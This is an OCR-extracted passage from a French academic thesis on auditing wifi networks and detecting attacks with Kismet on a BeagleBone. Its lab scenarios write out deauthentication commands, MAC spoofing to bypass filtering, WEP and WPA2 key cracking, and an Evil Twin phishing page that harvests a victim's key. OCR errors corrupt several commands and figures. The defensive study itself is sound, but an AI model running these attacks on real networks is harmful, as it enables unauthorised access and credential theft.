-w signifie : créer un fichier log s’appelle dump [16].
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root@kali: ~

File Edit View Search Terminal Help

osed: 1 min ][ 2016-0

ENC  CIPHER AUTH ESSID

Figure II1.4. Résultat d’airodump-ng

6.1.2. L’outille Airgraph-ng :
A la sortie d’airodump-ng on a différent type de fichiers sauvegardés sur le disque.
Chague type de fichier contient des informations captées le temps du scan.
Pour I’affichage on tape :
#ls —Isa dump-01*
e .cap : c’est un fichier qui peu importé ver un analyseur de paquet.
e .csv: ¢’est un fichier qui peut s’afficher a I’écran.
e .csv : un fichier qui présente les clients et les points d’acces on peut 1’appeler par
Airgraph-ng.
L’outille Airgraph-ng n’est pas installé par défaut, alors on va I’ajouter.
1. On va télécharger le code d’apres le site Aircrack-ng par la commande suivant
#svn co http://svn.aircrack-ng.org/trunk/scripts/airgraph-ng
2. On va accéder ver le répertoire Airgraph-ng
#cd airgraph-ng
3. On va changer la permission de fichier.
#chmod +x airgraph-ng
4. Une fois I’activation du mode moniteur effectué on lance airodump-ng :
#airodump-ng —~w duml1 mon0
5. airodump-ng arrété il est possible d’afficher les fichiers .csv
#./airgraph-ng —i dum1-01.csv —o0 duml.png —-g CAPR
6. Maintenant un fichier .png est créé figurell.5. [1].
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48:02:2A:11:15:DB
QUl: Unknown
Device Type: Unknown
First Time Seen: 2016-01-21 11:19:12

Last Time Seen: 2016-01-21 11:19:24

Generated by Airgraph-ng
1 Access Points and
1 Clients shown

Figure II1.5. Résultat d’ airgraph-ng.

6.2. L’outille Wash :

Wash est un outil qu’existe sous Kali linux utilisé spécialement pour détecter les
points d’acces usant de la sécurité WPS (Wireless Provisionning Service).

Wps est une technologie utilisée pour simplifier la connexion d’une appareil a un
réseau wifi.

Les commandes suivantes activent la découverte et 1’affichage des équipements
utilisant le WPS sécurité.

#ifconfig

On sélectionne I’interface wifi disponible pour activer le mode moniteur.

#airmon-ng start wlan0

#wash —i wlanOmon -C

Le résultat est affiché sur la figure suivante [1].

- =cheffner@tacnetso

Figure II1.6. Résultat de WASH.

6.3. L’outille Kismet :
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Kismet est un sniffer et IDS (intrusion detection system) L’outille existe dans la
distribution Kali, on peut le télécharger et installer sur les autres distributions linux.

Il peut étre utilisé pour scanner les réseaux sans fil 802.11, Kismet utilise le scan
passif, il collecte les paquets 802.11, et détecte les réseaux actifs. Aussi il peut
découvrir non-beaconnig et les réseaux wifi cachés.

Kismet fonctionne comme airodump-ng mais on peut I’utiliser comme un IDS.

Et dans notre cas Kismet on va le lancer sur notre BBB pour jouer le rdle d’un
agent qui capte, analyse et déetecte les vulnérabilités [2].

6.3.1. Lancement de Kismet :

Les étapes suivantes vont présenter comment fonctionne 1’outil Kismet

1- Active le mode moniteur pour I’interface wifi :

#airmon-ng start wlan0

2- Créer un répertoire pour sauvegarder les fichiers Kismet.

#mkdir kismetdump

3- Lancement de Kismet

#kismet

4- Ajouter mon0 comme source

@ debian@arm: ~

I
E
E
I
I
I
I
I
I
I
T
I
I

Figure II1.7.La box add source de Kismet.

5- On clique sur close Window pour afficher 1’interface Kismet
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BB debian@arm; ~ - m} *

~ Kismet Sort View HWindows

BE
Mar 30 18:45:57 Crypt: TEIP WEA PSE AESCCM Manuf: Tp-Link

Filtered

Figure II1.8. Console Kismet.

Pour voir les fichiers sauvegarder par Kismet on tape Is sur le répertoire de travail.

Figure II1.9. Répertoire des fichiers Kismet.

Pour quitter Kismet on tape ctrl+c
6.3.2. Explication des types des fichiers Kismet :

Par default Kismet génére Cinq fichiers :

*.alert Text-file log of alerts.; les événements d’ alertes particuliere.

*.gpsxml XML per-packet GPS log.

* .nettxt Networks in text format.

*.netxml Networks in XML format. Forme de I’interface..

*.pcapdump Pcap capture file of observed traffic; contient PPI-GPS tags si

disponible
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6.4.Wireshark :

Wireshark est 1’outil le plus populaire pour analyser les réseaux, utilisé aussi dans
le domaine de la sécurité réseau et pentesting. Wireshark peut étre utilisé efficacement
pour effectuer une analyse sur les réseaux sans fils aussi découvrir les points d’accés.

On peut aussi configurer I’interface en mode moniteur pour écouter sur un canal

particulier [1].

6.4.1. Lancement de Wireshark :

Wireshark existe sur plusieurs plateformes comme Windows, linux mais sous
Windows on ne peut pas activer le mode moniteur pour les interfaces réseaux.

Les étapes suivantes aident pour activer le sniffing sur un réseau WIFI :

1- On active la carte réseau

#ifconfig wlan0 up

2- Active le mode moniteur :

#airmon-ng start wlan0

3- Démarrer wireshark :

#wireshark

Apre le lancement de wireshark on va sélectionner I’interface pour 1’écoute

—
The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] - | O|>

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
©®4dm = Y a e FE|IEE Fl o B M5 == | @

Filter: ~ | Expression...

The World's Most Popular Network Protocol Analyzer

e
WIRESHARK Version 1.10.2 (SVN Rev 51934 from /trunk-1.10)
L Online |

_ Interface List = Open Website

= Live List of the capture interfaces Open a previously captured file Visit the project’s website
(counts incoming packets)

Open Recent &3 User's Guide
i Start " TheUser's Guide (online version)
Choose one or moreinterfaces ta capture from, then Start ® Sample Captures

& etho Arichassortment of example capture files on the wiki ® Securlty

i nflog
il ethl
# wlanl

Figure I11.10. Sélectionnent de I'interface pour Wireshark.
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Quand le scan est terminé on appuis sur stop, une fois les données collectées on
peut les filtrer grace aux instructions suivantes

e Pour afficher les réponses et les demandes probe

Wilan.fc.type_subtype ==4ou 5

e Pour afficher les trames beacon

Wilan.fc.type_subtype ==

e Pour afficher les trames d’authentification

Wilan.fc.type_subtype == 11

*mon0 [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

©® A nm @ RC aera3 T EE ol dEEm 8

Filter: wlan.fc.type_subtype == 8 ~ | Expression... Clear Save

No. Time Source Destination Protocol | Lengtl ' Info
46 3.375704000 Tp-LinkT_ed:Sd:62 Broadcast 312 Beacon frame, SN=37585, , Flags=........, , SSID=APC
54 3,478091000 Tp-LinkT_ed:od:62 Broadcast 802.11 313 Beacon frame, SN=3757, FN=0, Flags=........, BI=100, SSID=APC
72 3.580525000 Tp-LinkT_ed:9d:62 Broadcast 802.11 313 Beacon frame, SN=3758, FN=0, Flags=........, BI=100, SSID=APC
73 3.682869000 Tp-LinkT_ed:8d:62 Broadcast 802.11 313 Beacon frame, SN=3759, FN=0, Flags=........, BI=100, SSID=APC
74 3,785328000 Tp-LinkT_ed:od:62 Broadcast 802.11 313 Beacon frame, SN=3760, FN=0, Flags=........, BI=100, SSID=APC
78 3.887666000 Tp-LinkT_ed:9d:62 Broadcast 802.11 313 Beacon frame, SN=3761, FN=0, Flags=........, BI=100, SSID=APC
79 3.990151000 Tp-LinkT_ed:8d:62 Broadcast 802.11 313 Beacon frame, SN=3762, FN=0, Flags=........, BI=100, SSID=APC
82 4.092546000 Tp-LinkT_ed:9d:62 Broadcast 802.11 313 Beacon frame, SN=3763, FN=0, Flags=........, BI=100, SSID=APC
85 4.194901000 Tp-LinkT_ed:9d:62 Broadcast 802.11 313 Beacon frame, SN=3764, FN=0, Flags=........, BI=100, SSID=APC

92 4,297302000 Tp-LinkT ed:od:562 Broadcast 802.11 313 Beacon frame, SN=3765, FN=0, Flags=........, BI=100, SSID=APC

] Frame 46: 313 bytes on wire (2504 bits), 313 bytes captured (2504 bits) on interface 0

+ Radiotap Header vO, Length 18
+ IEEE 802.11 Beacon frame, Flags: ........
+ IEEE 802.11 wireless LAN management frame

Figure II1.11. Résultat de capture pour l'interface monitor wiereshark.

7. Détection du mode promiscuous :

Pour la détection I’outille utilisé est nmap , Nmap (“Network Mapper”) est un outil
open source d'exploration réseau et d'audit de sécurité. 1l a été concu pour rapidement
scanner de grands réseaux, mais il fonctionne aussi trés bien sur une cible unique. Nmap
innove en utilisant des paquets IP bruts (raw packets) pour déterminer quels sont les
hotes actifs sur le réseau, quels services (y compris le nom de I'application et la version)
ces hotes offrent, quels systemes d'exploitation (et leurs versions) ils utilisent, quels
types de dispositifs de filtrage/pare-feux sont utilisés, ainsi que des douzaines d'autres
caractéristiques. Nmap est généralement utilisé pour les audits de sécurité mais de
nombreux gestionnaires des systemes et de réseau l'apprécient pour des taches de
routine comme les inventaires de réseau, la gestion des mises a jour planifiées ou la

surveillance des hotes et des services actifs [17].
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7.1. L’utilisation de nmap :
Nmap est un scanner de grand performance et dans notre cas on va appeler un
scripte sniffer-detect est pour lire le résultat on va s’aider par un bloc des instructions

affichées dans la figure suivante.

lacal results = {
['1 1 "] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win8%8/ WinXP spZ(no pcap)
['1 '] = false, —- 0l1ld Apple/5unC5/3Com
['1_ 11 "] = false, -- MacOSX(Tiger)
['11111111"'] = true, -- BSD/Linux/0SX/ {or not promiscuous openwrt )
['1 1 1 '] = false, -- WinXFP =sp2 + pcap|| win98 sniff || winlZk sniff (see below)
['111 1 "] = true, -- Win¥XP sp2 promisc
--["1111 1 '] = true, -- ?Win%8 promisc + ??wWin%8 no promisc *not confirmed*

Figure II1.12. Type des résultats de scanner nmap.

Et la commande a exécutée :

#nmap —sV —script=sniffer-detect <target>

Target: I’adresse réseau +masque (ex: 192.168.1.0/24) ou une adresse IP spécifie.

Le scanne prend un temps on va sélectionner seulement les adresses actives par la
ligne d’instruction suivante :

#map -sP 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (A\(]V)/,"""); up = $NF}'
> hostup

Puis on lace le scan:

#nmap —sV —script=sniffer-detect hostup

8. Conclusion :

Dans ce chapitre on a présenté ’espace de travail qu’on a mis en place pour tester
les vulnérabilités d’un réseau WIFI les signaler et les corriger. Plusieurs outils logiciels
ont été décrits et leur manipulations expliquées. Ces outils peuvent étre exploitée pour
découvrir des wvulnérabilités liées aux chiffrements du réseau, son mode caché
éventuellement le filtrage des adresses physiques. Ces aspects ainsi que les techniques
de corrections vont étre abordés sur le prochain chapitre.
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Chapitre IV : Détecter les attaques DDOS

1. Introduction :

Les plus parts des réseaux wifi privés sont protégés par une ou plusieurs
méthodes de sécurités disponibles; dans ce chapitre on va présenter les
méthodes les plus répandues est comment on peut les dépasser. Des scénarios de
vulnérabilités sont expliqués et comment un test de sécurité est effectue face a

un réseau wifi sécurisé.

2. Types des sécurites wifi :
Pour bien connaitre les types de sécurité qui existent dans un réseau wifi
on accédera a I’intérieur d’un point d’acceés particulierement 1’onglet Wireless

est visualisé avec les options disponibles.

http://192.168.1.1/ X + a X
€ 192.168.1.1 [ Rechercher wB 9+ A S 08 =

Tp_l_INKﬁ 300Mbps Wireless N ADSL2+ Modem Router

Quick Advanced Access :
Maintenance Status Help
Interface Start Setup Management

s s . Loy
wes mode O pi code @ pC
Start WPS
WPS progress : Idle
Resstto 008
ssp: [apc

Type : | WPA-PSK/WRAZPSK

Encryption : | TKIPIAES |
Pre-Shared Key : [PrOE9IS0S0 (863 ASCI characters or
84 hexadecimal characlers)

WDS Mode . () on @ or
WDS Encryption Type : | TKIF
WDS Key (8~63 ASCIl characters or
Mac Address #1
Wac Address #2
Wac Address #3
Wac Address #4 1 | 00:0)

active: O Activated @) Deactivated
jon - [Alow Association_ fine follow Wireless LAN station(s) association

Mac Address #1 : |00:00:00:00:00:00
Wac Address #2 : |00:00:00:00:00:00

Figure IV.1. Options de configuration WIFI sur un point d’accés TP LINK.

2.1. Changement du SSID par default :
Par default le réseau est nommé par la compagnie qui a fabriqué 1’équipement,

par exemple un routeur sans fil « Link Sys » nomme son SSID Link Sys.

2.2. Désactivation de broadcasting :
L’option de broadcast est activée par default dans les points d’acces. Cette

option envoie toutes les 2 secondes un message a tous les adresses IP (broadcastIP
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255.255.255.255). En désactivant cette option, on évite de divulguer I’existence

du réseau et d’éventuelles utilisations non autorisées de ce dernier.

2.3. Désactivation de WPS :

Dans les points d’acces existe une fonctionnalité tres pratique pour connecter
un ordinateur ou une tablette au réseau WIFI : le WPS

Au lieu d’introduire manuellement la clé de sécurité pour connecter
I’ordinateur on appuie sur le bouton WPS de la carte et on attend quelque minute
pour se connecter automatiquement.

Pour des raisons de securité il faut désactiver cette fonctionnalité apres utilisation

[1].

2.4. Utilisation de cryptage :

DES, RSA, PGP et CIE Ces abréviations sont des noms d’algorithmes trés
utilisés pour chiffrer des séquences binaires ou du texte. Les différences qui les
séparent sont principalement de nature algorithmique. Chacun a sa maniére
d’ordonner, de filtrer et d’appliquer la clé qui fait qu’on ne peut déchiffrer un
message avec un algorithme différent de celui utilisé pour le chiffrer, de méme
qu’on ne peut déchiffrer un message que si on connait la clé utilisée pour le
chiffrer. La clé de chiffrement est I’élément variable dans le cryptage. C’est celui
qui va permettre de différencier le message d’un autre chiffré avec le méme
algorithme. Si on chiffre un seul poéme du Chikh hamada, deux fois, avec
I’algorithme DES et avec deux clés différentes, ou obtient deux résultats
différents. Il n’est pas possible d’intervertir sur les clés, ni utiliser un autre
algorithme. En matiere de Wi-Fi, les données qui transitent entre deux machines
d’un méme réseau sont chiffrées a 1’aide d’un des protocoles WEP, WPA ou
WPAZ2. Ces protocoles (du plus ancien au plus récent) utilisent des algorithmes de

chiffrement différents et en particulier des clés de tailles différentes [18].

2.4.1. Laclé WEP :
Le protocole WEP (Wired Equivalent Privacy ou Protection Equivalente au
Cable) utilise une clé d’une longueur de 64 a 256 bits dont 24 ne sont pas

utilisés pour le chiffrement. Cela fait une clé, si on la compare a un mot, d’une
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longueur de 5 a 29 caractéres. La majorité des clés est composée de 13
caracteres.

L’algorithme utilisé¢ dans le chiffrement posséde une grande faiblesse qui est
exploitée aujourd’hui trés facilement par les hackers. Il suffit de quelques
minutes pour reconstituer tous les morceaux de la clé WEP qui circulent de
temps a autres sur le réseau. La raison pour laquelle ils circulent est intimement
liée a I’algorithme utilisé car celui-ci doit étre initialisé a chaque échange pour
ne pas utiliser deux fois la méme clé. De fait une partie de la clé (les 24 bits en
question) est utilisée comme ¢élément d’initialisation (vecteur d’initialisation) et
celui-ci n’est pas chiffré.

Au bout d’un moment, si quelqu’un écoute tous les échanges, il aura obtenu
suffisamment d’éléments pour reconstruire la clé sans la connaitre au préalable.
Pour cette raison la clé WEP ne doit absolument plus étre utilisee sur les

équipements Wi-Fi aujourd’hui [18].

2.4.2. Laclée WPA/WPAZ2 :

Le protocole WPA offre une protection d’un niveau bien supérieur a WEP. Il
utilise pourtant le méme algorithme de chiffrement et est basé sur le méme
principe de vecteur d’initialisation. En revanche le TKIP (Temporal Key Integrity
Protocol ou Protocole d’intégrité par clé temporelle) a été ajouté, permettant ainsi
une permutation plus importante des clés sans que le vecteur d’initialisation ne
puisse étre reconstitué de maniere utile. Dans les configurations les plus
courantes, le mode Personnel est utilisé avec la PSK (Pre-Shared Key ou clé pré-
partagée). Cela permet d’utiliser une clé alphanumérique normale d’une longueur
d’au moins 32 caractéres. Ce qui offre un niveau de protection tout a fait
acceptable.

Le protocole WPA2 quant a lui utilise un algorithme de chiffrement beaucoup
plus puissant, utilisé dans le cryptage des documents sensibles et possédant une
clé trés forte. Il s’agit de la derniére norme du protocole WPA permettant de
protéger votre réseau WLAN.

Malheureusement une faille trés importante a été découverte au mois de juillet

2010 dans ce protocole qui reste néanmoins considéré comme le plus sécurise[18].
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2.4.3. Filtrage par adresse MAC :
Si le routeur WiFi le permet, des adresses MAC des équipements peuvent étre
introduites dans le routeur. (L'adresse MAC est unique a chaque périphérique
WiFi. Ainsi, seuls les périphériques WiFi déclarés dans le routeur pourront se

connecter.

3. Un pentest sur un réseau wifi sécurise :

Pour commencer le pentest on a va utiliser un point d’acces pour modifier le
type de sécurité existant en méme temps on I’examine, par les outils de pentest,

ces travaux on va le devisé on des scénarios suivant la topologie suivante.

3.1. Scénario 1 « Hide Access Point » :

Dans ce scénario on va configurer le point d’acces pour bloquer la diffusion
des SSID, puis on va lancer un pentest pour 1’affiché et se connecter par un
équipement étranger. Sur les ordinateurs qui affichent« Hidden Network » pour

se connecter il faut entrer le vraie SSID.

Pour détecter le SSID. On va utiliser les outils de Aircrack-ng donc on va
utiliser airmon-ng démarrer la carte réseau en mode moniteur; puis le

lancement de 1’écoute du trafic a partir du airodump-ng :

root@kali: ~

File Edit View Search Terminal Help

MB  ENC CIPHER AUTH ESSID

Frames

20 lte 4G,APC,lei,biblic, free wfi

BipI-c

LTE4G-B31¢

VOO O AEAOEMY

Figure IV.2. Résultat d’Airodump-ng
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Les ESSID <length : 0>sont des réseau cachés et dans notre cas on a détecté
deux.
On va spécifier I’écoute a un seul point d’acces en fixent le canal( c=1) ,du
méme temps on lance une death attaque pour perturber les clients connectés.
#aireplay-ng -0 2 —a 4C :AC :0A:88:E3:17 mon0

Remarque :
Si le résultat d’aireplay-ng dit qu’il existe un canal négatif on va modifier la
commande :
#aireplay-ng -0 50 —ignore-negative-one -a 4C :AC :0A:88:E3:17
mon0

Apres la dissociation et 1’association des clients on voit que <length: 0> a

changer par le nom du point d’accées wifi.

3.2. Scenario 2 «Hide Access Point plus Filtrage d’adresse
MAC » :

Apre Hide Access Point on ajoute le filtrage des adresses MAC , pour mieux
forcer la sécurité donc on détecte le réseau cacher, il reste seulement de
connaitre les adresses MAC des clients connecter a ce point d’acceés, donc on fait

appel a I’outils airodump-ng de aircrack-ng et spécifier le canal et le BSSID.

Aprés la détection de la machine client on va arréter le mode moniteur puis

changé I’adresse MAC de notre carte réseau.
#airmon-ng stop mon0
#machchanger -m 84:A6:C8:1E:7B:BB wlan0
Maintenant on éteinte et allume ’interface suivi d’une demande d’association
#iwconfig wlan0 essid openwifi channel 1

Et se connecter normale sans aucun probleme.
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openwifi

Disconnect

Connectify-cda
D-Link_DAP-1360
LTE4G-B310-7A597
LTE4G-B310-8B45B
VPN Connections

Connect to Hidden Wireless Network...

Create New Wireless Network..

eric6-6.1.3.tar.gz sendmail-8.15.2

Figure IV.3. L’association au réseau caché sécurisé par filtrage.

3.3.Scénario 3 « Cryptage WEP» :
La sécurité WEP est la plus facile a décrypter alors on va configurer le point
d’accés par une clef WEP «00aallbb33 » puis on lance le pentest, on peut
utiliser kali mais dans ce scénario on va utiliser wifislax comme un systeme
d’exploitation et un outil facile a exploiter .Dans le menu de wifislax on va lancer
wifi Metropolis 3,Dans ’onglet config de metropolis 3 on va choisir I’interface
est activer une fasse MAC et le mode moniteur de cette interface. Puis dans
I’onglet scanner on va cliquer sur WEP pour lancer airodump-ng pour capter les
points d’acces disponibles. On va sélectionner un point d’acces qu’utilise le
chiffrement WEP [19].
Apres la sélection on va basculer vers I’onglet WEP dans notre cas.
FO® Wifi Metropolis 3

WeP

Without Cliente Magic Button With Cliente

( Auto _' Auto J
Aircrack-NG
| Packet Replay Packet Replay

Hirte DesAutenticacion

Figure IV.4. Tableau de Metropolis 3 (onglet WEP).
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Donc on lance aircrack-ng est attend un nombre des datas important, on

clique sur DesAuthentifications pour accélérer la capture.

CH 1 ][ Elapsed: 57 mins ][ 2016-04-03 01

ys (g .
] e/ 1 (13824) 3Aircrack-ng 1.2 rc2 r266608)
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID deploo:eo:?sl Tested 1310721 keys (got 6?59 vs)
..... B ifi 0/ 1 00(13824) 3B(11520) 63(11264) F5(11008)
4C:AC:0A:88:E3:17 -21 92 30854 7041 2 1 54 WEP WEP OPN open wifi dep[00:00:09] Tested 120656 keys (got 6989 IVs)
0/ 1 00(13824) 3B(11520) 63(11264) F5(11008)
depth  byte(vote)04(9984) F1(9984) 2F(9728) 6)
6/ 1 00(13824) 3B(11520) 63(11264) F5(11008)
32/ 55 AA(8704) AE(8704) F6(8704) 16(8448) 96)
FA(9216) 0B(8960) 6C(8960) 99(8960) 52)
BB(11008) 7D(10496) 17(10496) A7(9984)
33(10752) 16(10752) 4A(10496) AF(9984)

BSSID STATION PWR  Rate Lost Frames Probe

4C:AC:0A:88:E3:17 B84:A6:C8:1E:7B:BB -35 54 -54 0 1223046

KEY FOUND! [ ©0:AA:11:BB:33 ]
Decrypted correctly: 100%

Figure IV.5. Le décryptage de clef WEP.

Le temps pour cracker la clé dépond du temps de capture des trames WIFI.
3.4. Scénario 4 «Cryptage WPA2» :

Wpa2 est la cryptographie la plus efficace pour le moment parce qu’elle
demande une puissance de calcul plus forte et une génération de word liste précise

donc la chance de le décrypter est presque nulle.

Il existe plusieurs méthodes pour le décryptage on va choisir une par ce qu’elles

sont basées sur le méme principe.

On va suivre les étapes utilisées pour décrypter la clef WEP sauf on va choisir
WPA.

Maintenant tous les points d’acces cryptes par WPA sans classe dans un tableau
et on va sélectionner I’ESSID open wifi et la station client associe a ce BSSID
Dans 1’onglet WPA on Clique sur capture puis lance une DesAuthentification
jusqu’a I’affichage de Handshak on coupe la capture et modifiée le wordlist dans

le répertoire affiché dans la figure suivante.
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(v Wifi Metropolis 3 +
Menu

Config | Scanner | WEP | WPA | Others

Capture Handshake

Capture Data DesAutenticacion DesAutenticacion

Aircrack NG HashCat Plus
Aircrack NG Aircrack + Crunch GPU: | ATI ] Crack
Crunch: | 8 | | 8| [0123a56789 | v Keys Mask: | ?l?u?d?s Crack
Wordlist Key

| Joptywifi_Metropolis/wordlistrwordlist Ist

Figure IV.6. Tableau de bord Metropolis 3 ( onglet WPA).

On clique sur Aircrack NG est attend 1’affichage de mot de passe.

Wifi Metropolis 3 - Crack with Aircrack-NG

[80:01:41] 68022 keys tested (636.69 k/s)
KEY FOUND! [ givenchy ]
Master Key : CC 44 31 F2 AS 42 CD 81 AB B8 2B 73 76 E§ F1 89
D1 F@ 33 FC 7B A4 62 B8 4A 66 74 D3 @D FD F8 E9
Transient Key : 61 45 C® B7 OF 98 (2 E6 9C 53 63 94 Bl 7F BE B7
BB A3 24 CE AF 01 74 EO B6 45 93 C5 4A B6 BO 9D
EC 4E €9 1E A3 52 15 CB 73 7D 57 45 43 D9 74 40
12 DA BD 3B 79 34 A8 F2 8D 2A 2B 86 E3 54 F9 DF

EAPOL HMAC : BE F1 FD 2C CB 4C 47 34 4A D7 AA 6B 9F E4 ED BA

Figure IV.7. Résultats d’Aircrack-ng

Remarque :

Il existe plusieurs méthodes pour créer un wordlist par ce que si le mot de passe
n’existe pas le décryptage va échouer.

3.5. Scenario 5« Wifiphiser»:

La plus part des méthodes précédentes demandent une source de calcule rapide
c.-a-d. une machine puissante aussi un wordlist contient le mot de passe, cette
méthode basée sur la fausse réflexion de la victime. Le principe de cloner le point

d’accés et forcer le client de se connecter vers le wifi, le signal le plus fort et
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essayer de perturber le point d’acces réel. Notre travail basé sur I’outil
linset(EvilTwin Attack)[1].

Apres le Lancement de linset( EvilTwin Attack) on sélectionne I’interface
réseau sans fils puis on choisit tous les canaux utilises par airodump-ng pour le
capture. On va cliquer sur la combinaison ctrl+c puis sélection le point d’acces
qu’on cherche a cloner ; 1l existe plusieurs méthodes pour créer un point d’acces

on a sélectionné 1 Apres I’affichage des données:

On choisit ’outil aircrack-ng et activer 1 pour capturer le handshake .on va

choisir 1 pour les étapes suivantes aussi le langage utilisé dans la page web.

On attende le changement du point d’acces chez le client et I’affichage de la

page web par default

hlll ) Esperando |a pass
: wrong |
PUNTO DE ACCESO:
: open wifi
C:AC:0R:88:E3:17

0: wrong |
Intentos..
Clientes

:wrong 1 CLIENTES ACTIVOS:
1)

B4:a6:c8:1e:Th:bb (
nd
b:bb (maurise) via wlan@

b (mau

Kespuesta:

Respuesta:

Respuesta: i

Respuesta:

Respuesta: accounts.google.c
Respuesta: beacons.gvt2.c

Respuesta: beacons2.gut2.

Respuesta: beacons3.gvt2.com
Respuesta: beacons4.gvt2.com
Respuesta: beacons5.gvt2.com
Respuesta: beacons5.gvt3.com
Respuesta:

Respuesta:

Respuesta: gr

Respuesta:

Respuesta:

Respuesta: ff.kis.scr.kaspersky:
Respuesta: sam.lagsoft.net. -> 192.16
Respuesta: 100.0.21.7.0.rst5.r.sky)
Respuesta: analytics.query.yahoo.com. ->

Widnu: o

Figure IV.8. Shell géré par Linset (EvilTwin Attaques).
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La page affichée au navigateur du client

G Google | B Login Page [ Login Page X+ = X

[}
O microsoft.com Yo =@ & -

Login Page

ESSID: open wifi
BSSID: 4C:AC:0A:88:E3:17
Chan: 1

Pour des raisons de sécurité, veuillez introduire votre clé pour acceder a Internet

Entrez votre clé WPA:

pr—
Valider

2341

toginpag.. [B] MW Cwsesi. [ Csest. @ © oginpag.. @ sipe-.. [ chaprdo.. (@) wifslax-.. o Untitied-.. A gz ) @ B FFR: s

Figure IV.9. Page d’authentification WPA

aircrack-ng permet d’afficher la clef.

Esperando |a pass
[60:00:00] 1 keys tested (288.54 k/s)
b ES F1 89
6D FD F& E9

B3

BD D1
38

Figure IV.10. Résultat d’Aircrack-ng.

4. Détection des intrusions :

Lors des étapes précédentes on a lancé des multiples attaques sur un point
d’acces sécurisé par Hide SSID , Filtrage d’adresse MAC, clé WEP et WPA, pour
atteindre notre but on est passé par 1’étapes d’authentification des clients pour

forcer les clients de se connecter et reconnecter.
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Pour cela on a besoin d’un agent qui surveille le trafic et on a choisi la BBB et
Kismet comme un outil de détection.
Les démarches pour détecter ces intrusions est de connecter la BBB avec le

point d’accés. Allumer la BBB et 1’outille Kismet (chapitre 3).

EP debian@arm: ~ — O *

H ~ Kismet Sort View Windows

! open wifi Ao 1

. Packets Pac

Filtered

Figure IV.11. Fenétre Kismet.

Dans 1’onglet Windows on va choisir alertes....
On observe qu’il n’existe aucune alerte mais si on lance une authentification
attaque via un autre systéme d’exploitation (Kali) la figure suivante affiche des

alertes kismet.

! ‘@ debian@arm: ~

Figure IV.12. Détection d’'une attaque de type DDOS.

L’avantage de Kismet est qu’on peut detecter 1’attaque de notre point d’acces
aussi les points d’accés voisins. Le résultat est aussi positif si on lance un

wifiphisher.
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#8 debian@arm: ~ - 0o X

Figure IV.13. Détection d’'une attaque de type WifiPhisher.

En méme temps les résultats sont sauvegardes dans des fichiers.

5. Conclusion :
Dans ce chapitre on a expliqué les étapes des pentests a réaliser sur des

points d’acces wifi. Des tests de vulnérabilités et failles de sécurités
présentées sur le cryptage, et le mode d’accés. L’outil développe a base de la

beagle bone est utilisé pour détecter et signaler ces attaques.
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Chapitre V : Détecter les attaques MITM

1. Introduction :

Quotidiennement nous utilisons un réseau wifi dans les espaces ouverts
publiques ou privés pour bénéficier de 1’avantage de la mobilité, mais pour les hackers
c’est ’environnement le plus pratique pour faire des intrusions et détournement de la

connexion.

Dans ce chapitre on va donner une explication sur les méthodes, les outils aussi
quelques techniques utilisées par les hackers puis en termine par la détection pour

s’avoir Si notre réseau et sous une attaque.

2. Principe de fonctionnement :

MITM (Man In The Middle) une vulnérabilité qui peut étre exploitée dans les
réseaux WLAN ouverts ou privés.

Le pirate positionné au milieu capte contrble et analyse le trafic entre des

équipements connectés pour extraire des informations personnelles come mot de passe,

Tout ca est basé sur le Protocol ARP de la deuxieme couche du modéle OSI.
Ainsi il peut exploiter les autres Protocoles des niveaux supérieurs comme IP, DHCP,
DNS, HTTP...

Si le pirate a bien exploité cette vulnérabilité les victimes ne peuvent pas

détecter qu’ils utilisent un réseau non sécurise [1].

3. MAC Address Spoofing / ARP poisoning :

Chaque attaque MITM est capable de transformer le chemin du trafic pour
atteindre en premier lieu le pirate avant d’aboutir a sa destination.

Si un attaquant se connecte sur le méme réseau WIFI il peut utiliser plusieurs
techniques pour atteindre le profil MITM.

Kali et wifislax fournissent plusieurs outils utilisés pour manipuler les services et
modifier la destination du trafic associé a la machine client.

Le but c’est de jouer sur le fonctionnement des réseaux IP exactement au niveau
de la couche deux du modele OSI exactement le protocole ARP ou les stations envoient
une trame Ethernet dans le champ adresse destination contient une adresse de diffusion,
ceci pour remplir la table des adresses MAC et associer chaque adresse physique avec

une adresse logique IP, la figure suivante explique le fonctionnement normal [20] .
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>
S 7 =
pc / -~
Point d'accés
@ip :192.168.1.1
@MAC:XX:XX:XX:XX:9D:62
VICTIME

@ip :192.168.1.80
@MAC: xx:xX:xx:xx:3E:EC

Table ARP:

Table ARP: | R KR REED"
192.168.1.80 > XXX XX:XX: 3E:EC , 192108180 5 XX AKX XK IETEC
192.168.1.1 —> XX:XX:XX:XX:9D:62 5 192.168.1.1 --> XX:XX:XX:XX:9D:62

192.168.1.102--> xx:xX:XX:Xx:E2:B3] HACKER (e ealh
@ip :192.168.1.102
@MAC: xx:xX:xXX:xx:E2:B3

Figure V.1. Fonctionnement normal du protocole ARP.

Si il y a une anomalie donc si le hacker a perturbé le fonctionnement du
protocole ARP par I’envoie des trames qui contiennent une adresse IP source de
serveur mais le champ d’adresse MAC vide donc par défaut le pc client remplit la table

avec 1’adresse MAC propre a I’attaquant pour cela tous le trafic vas étre acheminé vers

I’attaquant puis ver le serveur ou point d’acces.
La figure suivante explique le changement sur la table ARP [18].

-
s -~
P 3
@ip :192.168.1.1
@MAC: XX:XX:XX:XX:9D:62
S
VICTIME
@ip :192.168.1.80
@MAC: xx:xX:XX:XX:3E:EC
Table ARP:
Table ARP: |
192.168.1.102--> XX:XX:XX:XX:E2:B3
192.168.1.80 --> XX:XX:XX:XX:3E:EC ‘ 192.168.1.80 --> XX:XX:XX:XX:3E:EC

\s // 192.168.1.1 --> XX:XX:XX:XX:9D:62
HACKER (SE KAL)

102.168.1.102--> Xx:XX:XX:XX:E2:B3
192.168.1.1 --> XX:IXX:XX:XX:E2:B3 @ip - 192.168.1.102
@MAC: xx:xX:xx:xx:E2:B3

Figure V.2. Principe de I'attaque MITM
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4. Saturation du Serveur DHCP :

Le service DHCP est destiné au sein des réseaux pour fournir des adresses IP a
tous les ordinateurs connectés.

Si un nouveau client arrive il envoie une trame DHCP Discover contient 0.0.0.0
comme adresse source ver 1’adresse de diffusion 255.255.255.255 quand la requéte
atteinte le serveur, ce dernier il répond par une trame DHCP Offer qui propose au client
